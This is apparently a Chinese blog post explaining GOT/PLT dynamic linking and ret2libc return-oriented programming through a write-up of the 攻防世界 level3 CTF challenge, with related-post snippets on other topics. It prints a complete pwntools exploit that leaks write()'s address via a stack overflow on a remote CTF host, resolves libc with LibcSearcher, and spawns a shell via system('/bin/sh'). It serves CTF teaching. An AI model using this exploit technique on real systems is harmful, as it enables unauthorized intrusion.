浅谈rop-ret2libc原理以及解答-以攻防世界level3为例

pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode) 本节将介绍基本的ROP(Return-Oriented Programming,返回导向编程的)的攻击原理、二进制程序的保护机制,并通过两个实例ret2text、ret2shellcode,为读者简介基本的ROP攻击过程。本节所使用的实例可在CTF wiki上进行下载。 阅读详情

栈溢出-rop-libc

0x01、got表和plt表与动态链接、绑定延迟(重点理解)
GOT概述

1、当在程序中引用某个共享库中的符号时,编译链接阶段并不知道这个符号的具体位置,只有等到动态链接器将所需要的共享库加载进内存后,也就是在运行阶段,符号的地址才会最终确定。因此,需要有一个数据结构来保存符号的绝对地址,这就是GOT表的作用,GOT表中每项保存程序中引用其他符号的绝对地址。这样,程序就可以通过引用GOT表来获得某个符号的地址
2、在X86结构中,GOT表的前三项保留,用于保存特殊的数据结构地址,其他的各项保存符号的绝对地址
3、对于符号的动态解析过程,我们只需要了解的就是第2项、第3项,即GOT[1]、GOT[2]
4、GOT[1]保存的是一个地址,指向已经加载的共享库的链表地址
5、GOT[2]保存的是一个函数的地址,定义如下:GOT[2]=&_dl_runtime_resolve,这个函数的主要作用就是找到某个符号的地址,并把它写到与此符号相关的GOT项中,然后就是将控制转移到目标函数中

PLT表概述

PLT表通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数
在实际的可执行程序或者共享目标文件中,GOT表在名称为.got.plt的section中,PLT表在名称为.plt的section中

第一次函数调用:
图片参考连接链接(不懂的也可以去看这个博主的视频,):
https://space.bilibili.com/24337218?from=search&seid=6758970907964287136在这里插入图片描述第二次函数调用:
在这里插入图片描述
更多关于libc知识可以看另一篇文章:
https://blog.youkuaiyun.com/pointerr/article/details/111349927?spm=1001.2014.3001.5501

0x02、例题:攻防世界-level3:

老rop了
在这里插入图片描述

plt表没有system函数,没有/bin/sh字符串(shift+f12)。
在这里插入图片描述
在这里插入图片描述

思路:
题目给出了vulerable_function(),其中有read()栈溢出,而libc版本的查找和得到shell需要两步进行,所以应该重复利用vulerable_function(),大致的pwn思路如下:

1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置
2.通过write()得到write()在程序中的真实地址
3.使用LibcSearcher得到libc版本(LibcSearcher可以参考https://github.com/lieanu/LibcSearcher)
4.在对应的libc版本中查找write()、system()、/bin/sh的真实地址
5.使用write()的程序地址和libc地址计算出偏移量
6.在system()、/bin/sh的真实地址上加上偏移量再通过vulerable_function()执行getshell

求偏移量,得出偏移量为140。
在这里插入图片描述

求write函数的真实地址:
在这里插入图片描述

在这里插入图片描述

write_plt:0x8048340
write_got:0x804a018
write_addr:0xf76a63c0

知道了write的偏移量,就能求出libc地址与该程序地址的总体偏移量:

offer=write_addr-write_offer

通过该偏移量,就能求出system函数,bin_sh字符串的真实地址加上总的偏移量。从而编写payload2:

payload2='A'*0x88 + 'A'*0x4+p32(system_addr)+p32(exit_addr)+p32(bin_sh_addr)

这里为什么要加上exit的地址,查询资料得知:

linux x86函数执行的时候,再刚刚进入system函数的时候,会默认push一个返回地址,然后才是system的参数,所以如果我们想得到一个shell的话,system地址中间需要随便加一个以作为间隔

再次利用vuln函数漏洞,就能getshell。
0x03、exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.200.241.244",54643)
 
elf =ELF("./level3")
write_got=elf.got["write"]
write_plt=elf.plt["write"]
vuln_addr=elf.symbols["vulnerable_function"]
p.recv()
 
payload1='A'*0x88 + 'A'*0x4 +p32(write_plt)+p32(vuln_addr)+p32(0x1)+p32(write_got)
p.send(payload1)
write_addr = u32(p.recv(4))
print("write_plt:"+hex(write_plt))
print("write_got:"+hex(write_got))
print("write_addr:"+hex(write_addr))
 
libc=LibcSearcher("write",write_addr)
write_offer=libc.dump("write")
bin_sh_offer=libc.dump("str_bin_sh")
system_offer=libc.dump("system")
exit_offer=libc.dump("exit")
 
 
offer=write_addr-write_offer
print("offer:"+hex(offer))
system_addr=system_offer+offer
bin_sh_addr=bin_sh_offer+offer
exit_addr=exit_offer+offer
print("system_addr:"+hex(system_addr))
print("bin_sh_addr:"+hex(bin_sh_addr))
print("exit_addr:"+hex(exit_addr))
 
payload2='A'*0x88 + 'A'*0x4+p32(system_addr)+p32(exit_addr)+p32(bin_sh_addr)
p.recv()
p.send(payload2)
p.interactive()

结果:
在这里插入图片描述

ROP和Ret2libc漏洞 ROP全称为Return-oriented Programming(返回导向式编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。 ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。 阅读详情

相关推荐

pwn ret2libc

目录1.攻防世界 level32.buu babyrop3.buu ciscn_2019_c_1 1.攻防世界 level3 把文件放到kali里面发现是一个压缩包(放入exeinfo里面也可以发现是压缩包),解压缩得到level3和libc.so文件 file checksec ida32 进入漏洞函数vunl(),发现有栈溢出漏洞 没有system函数和/bin/sh 题目提示了用libc。 libc.so是一个函数库(类似于C语言#include<iostream>的iostrea

清霂的博客 682

栈溢出/ret2shellcode/ret2syscall/ret2libc

(仅作为本人的学习笔记和心得 如有错误请多指教)

m0_63220798的博客 819

攻防世界 - Misc - Level 3 - Miscellaneous-300

本关考察的是 MISC 中的音频隐写相关的内容,通过此关,你可以学习到以下知识点: - ZIP 递归破解脚本 Python 编写。 - ZIP 文件密钥爆破工具 ARCHDR 的使用,以下是 CTF 推荐的爆破流程: - 设置长度 4-6 位(可以浮动,但不用太长,过长的一般不会出现在 CTF 中)。 - 纯数字爆破。 - 大小写字母爆破。 - 混合符号爆破。 - Audacity 查看音频 “频谱图”。

jarvis oj level3/level4--多种解法实现ret2libc

level3和level4都是ret2libc的典型题目,只不过level3给了libc文件而level4没有给。 这里以leve3为例,使用多种方式实现ret2libc 一,使用给定的libc文件,计算偏移地址 整体思路就是通过首先泄露处libc中某个函数运行时的实际地址,再通过给定的libc文件计算出system函数的实际地址,跳转到system函数执行 基础原理:http://ww...

超人学飞的日子 971

【AIGC】人工智能训练师(高级)考试题库-橙点同学

例如,在嘈杂的环境中进行声音转文字,即使是优秀的模型也可能会出现一些错误,但这并不意味着该模型本身质量差,在其他较为理想的环境下,它可能会有很好的表现。例如,在一些语音应用和系统中,会使用SSML来实现对语音合成的精细控制,如调整语速、语调、音量等,而这些应用和系统的开发往往会遵循W3C的相关标准和框架,其中就包括SSML这一语音合成标记语言。例如,在语音识别等场景中,像“去火车站怎么走”这样的语音指令,没有其他嘈杂的背景声音或模糊不清的表述,就属于无噪音的数据,有利于系统准确地进行处理和分析。

RisunJan的博客 9920

利用AI辅助工具Codex在30分钟内高效生成发明专利说明书草案

Codex 是什么?简单说,它是 OpenAI 推出的一个高级 AI 工作平台,最初定位是软件开发辅助工具,但现在它的能力边界已经远远超出了写代码。根据 OpenAI 官方信息,每周有超过 500 万人使用 Codex,其中 40% 的新用户是非开发者,包括分析师、营销人员、研究人员等。这意味着 Codex 正在从一个程序员专属工具,演变为一个面向广泛知识工作者的生产力中枢。 那么,它和我们今天要谈的“写发明专利”有什么关系?核心在于 Codex 的“角色专属插件”和“上下文构建”能力。它不再只是根据零散的

weixin_29053067的博客 320

ROP-Ret2Libc概述和利用

ret2libc简介 ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址 ret2libc通常可以分为下面这几类: 程序中自身就含有system函数和"/bin/sh"字符串 程序中自身就有system函数,但是没有"/bin/sh"字符串 程序中自身就没有system函数和"/bin/sh"字符串,但给

fanghuapyk的博客 1761

django安装mysqlclient (Windows下正确安装mysqlclient)

由于本人也是初学Python和django。本人使用的Python版本是3.7所以连接MySQL数据库需要安装数据驱动,对应Python3的数据驱动是mysqlclient。因此本人习惯性的使用命令pip install mysqlclient,结果安装失败 (venv) C:\Users\songlihui\PycharmProjects\autotest&gt;pip install my...

songlh1234的博客 2万+

ret2libc

以wiki中的libc的第三道例题为例,理解libc。

2301_79863983的博客 1157

Kubernetes+EdgeX:构建企业级AI边缘推理平台

设备:工业摄像头(RTSP协议,输出1920x1080视频流);AI模型:YOLOv8训练的轴承裂纹检测模型(识别“裂纹”“正常”两种类型);目标:摄像头采集图像→EdgeX传输数据→K8s推理服务检测→结果反馈到报警器(HTTP协议)。Kubernetes+EdgeX的组合,为企业构建AI边缘推理平台提供了标准化、可扩展标准化:K8s的容器编排和EdgeX的设备管理,都是行业标准,避免“重复造轮子”;可扩展:支持从单边缘节点到 thousands of nodes 的规模,满足企业的增长需求;

AI算力网络与通信的博客 1344

Simulink仿真模块 -Scope

如果您将 Scope 模块放在具有锁定链接的库或者锁定的库中,当尝试打开示波器窗口时,Simulink 会显示错误。要显示某个库模块中的内部数据,请为库模块添加一个输出端口,然后将此端口连接到您模型中的 Scope 模块。当您在示波器内可视化多个基于帧的信号时,部分帧大小为 1 的信号采样可能不会显示。当在示波器内可视化多个基于帧的信号时,部分帧大小为 1 的信号采样可能不会显示。如果在仿真开始时波形视图关闭,则当在仿真后打开波形视图时,波形视图将显示附加的输入信号的仿真结果。

jk_101的博客 3790

Ret2Libc 攻击技术

1. DEP 技术对stack overflow 的保护: Data Execution Prevention:  去掉 stack 上的执行权限,可以阻止一部分基于 stack 的攻击。  2. Ret2Libc 攻击原理  Return-to-library technique       简称“Ret2Lib”,这种技术可以绕过DEP的保护,其核心思想是把

guilanl的专栏 5883

【XCharts插件】5-2、从Excel中读取数据并更新图表案例(v3.0)

XCharts插件是一款基于UGUI的功能强大、易用、参数可配置的数据可视化图表插件。【Unity3D插件】XCharts插件完全教程《全网最全》-专栏文章目录【XCharts插件】5-1、从Json中读取数据并更新图表案例(v3.0)介绍了如何从Json文件中读取数据,并更新表格,这篇文章就介绍如何从Excel中读取数据,并更新图表吧。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 1274

ret2libc攻击原理+实例分析

ret2libc攻击方式针对动态链接(Dynamic linking) 编译的程序,静态链接一般利用ROP能简单构造出payload进行攻击(详见ROP博客)。一般情况下无法在程序中直接找到system、execve这一类系统函数,动态链接 ...

yajuanpi4899的博客 5157

升级conda时出现Malformed version string invalid chars错误解决方案

但有时,当你使用“conda upgrade”的命令时,你可能会遇到一个错误,提示你的环境解析失败,出现“Malformed version string invalid chars”错误消息。如果以上两个步骤都没有解决你的问题,那么你可以考虑更新conda的依赖项。如果你的conda版本已经是最新的,那么你需要清理conda的缓存。最后,如果以上方法都无法解决问题,你可以尝试使用pip进行更新。如果你的conda版本过旧,你需要先更新conda。首先,你需要确认你当前使用的conda版本。

BUG?不存在的! 1409

DevExpress中使用BandGridView实现复合(多行)表头、设置多行表头背景颜色、表格边框颜色

一、实现效果 二、 实现方法 2.1、创建复合表头 ①将创建的GridControl下的GirdView1转化为BandGridView类型; ②创建需要展示的列(指定列的名称【Name】、描述【caption】、数据字段名称【FieldName】) ③绑定列实现复合表头。 注意:如果复合表头有多行,则需要设置新增Band的Row Count,然后设置【Band properties下的AutoFillDown=false】 详细操作如下: 注意:如果要隐藏表格的设计字段内容,则需.

提供C#相关开发 、云计算、运维测试、网络安全相关技术分享与服务,有意向可联系。 2893

一步一步学ROP——shellcode和ret2libc

序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法。 1 C...

weixin_42390670的博客 1574

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

攻防世界pwn新手区题解-level3

攻防世界pwn-level3详细题解。

weixin_62621015的博客 1798

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

攻防世界pwn——level3

攻防世界pwn——level3

qq_62076255的博客 958

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

攻防世界新——level3

攻防世界 – pwn新手区 level3 由题意可得可能跟libc有关。 ps:libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。 引申: glibc 和 libc 都是 Linux 下的 C 函数库。 libc 是 Linux 下的 ANSI C 函数库;glibc 是 Linux 下的 GUN C 函数库。 1.checksec查看保护 文件有两个,一个是elf文件,一个是so文件。 ps:so文件(shared object),so文件是

weixin_62675330的博客 1710

pwn刷题num6--ret2libc

攻防世界pwn新手区level3 下载附件后发现是tar.gz文件, 使用该命令解压 tar -xvf 文件名 解压后保存到的目录 解压后发现给了libc,libc是c语言函数库,里面包含各种函数如write,read,system,也有字符串/bin/sh等 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 32位,小端序 开启部分RELRO---got表仍可写 未开启canary保护---存在栈溢出 开启NX保护----注入的shellcode不可执行 未开启PIE---

tbsqigongzi的博客 479

[攻防世界]level3

[攻防世界]level3,详细

逆向萌新的博客 565

level3学习ret2libc

0x00 常规文件检查 是一个32位的开启了堆栈不可执行的ELF文件。 0x10 ida打开分析文件 ​ 在左侧的function处并没有发现system函数,但是有一个vulnerable_function, 打开main函数,f5反汇编后可以看到如下图所示的内容,即调用了vulnerable函数 打开vul函数可以发现它使用write函数先输出了一句话,于是我们可以尝试通过泄漏write函数的...

TedLau的博客 429

CTF PWN-攻防世界level3之libc动态库寻址

本题目 level3 延续了《CTF PWN-攻防世界XCTF新手区WriteUp》一文中的 PWN 题目训练,是 level2 题目的衍生。与 level2 不同的是,存在栈溢出漏洞的 level3(ELF 文件)中不再具备 system 函数了,需要我们从 libc 动态库中计算获取,并借助 ROP 完成缓冲区溢出漏洞的利用。

道阻且长,行则将至 1195

ROP之ret2libc

ROP之ret2libc 修改返回地址,让其指向内存中已有的某个函数 当函数调用栈的没有执行权限时,就不能执行我们自己写入的shellcode,就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system() payload结构 通过溢出覆盖返回地址(相当于call system) padding + system address 调用system时的返回地址,可...

酉酉的博客 1910
上一篇: 浅谈ROP-ret2libc原理-题目源于[ctfwiki]
下一篇: Pwn-Glibc堆利用-FirstFit&UAF浅析
p0int3r
博客等级 码龄7年 11粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值